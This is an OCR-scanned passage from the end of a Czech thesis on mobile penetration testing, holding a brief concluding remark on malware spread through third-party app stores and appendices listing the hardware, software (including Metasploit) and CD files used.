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ptes Google Play maji svou cenu, kterd miize motivovat uZivatele ke stahovani aplikaci
z neznamych zdroji a tim podporovat §ifeni malwaru. | pfes veSkerou snahu 0 maximalni

zabezpeceni zlstava nejslabsim ¢lankem pomysiného fetézu uzivatel.
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Ptiloha A - Seznam pouzitého softwarového a hardwarového vybaveni...................ccc......

Piiloha B - Seznam souborii na CD
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Ptiloha A — Seznam pouzitého softwarového a hardwarového vybaveni

Hardwarové vybaveni:

e Dell Inspiron 7566
o Zyxel P66OHW-T3 v2
e Samsung Galaxy J5 2016

Softwarové vybaveni:

e Linuxova distribuce Ubuntu verze 16.04
e Oracle VM VirtualBox verze 5.1.14

e Metasploit Framework verze 4.16.14

e OS Android verze 7.0.1 Nougat
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Ptiloha B — Seznam soubori na CD

e soubor Penetracni testovani mobilti — TomasKodym.pdf
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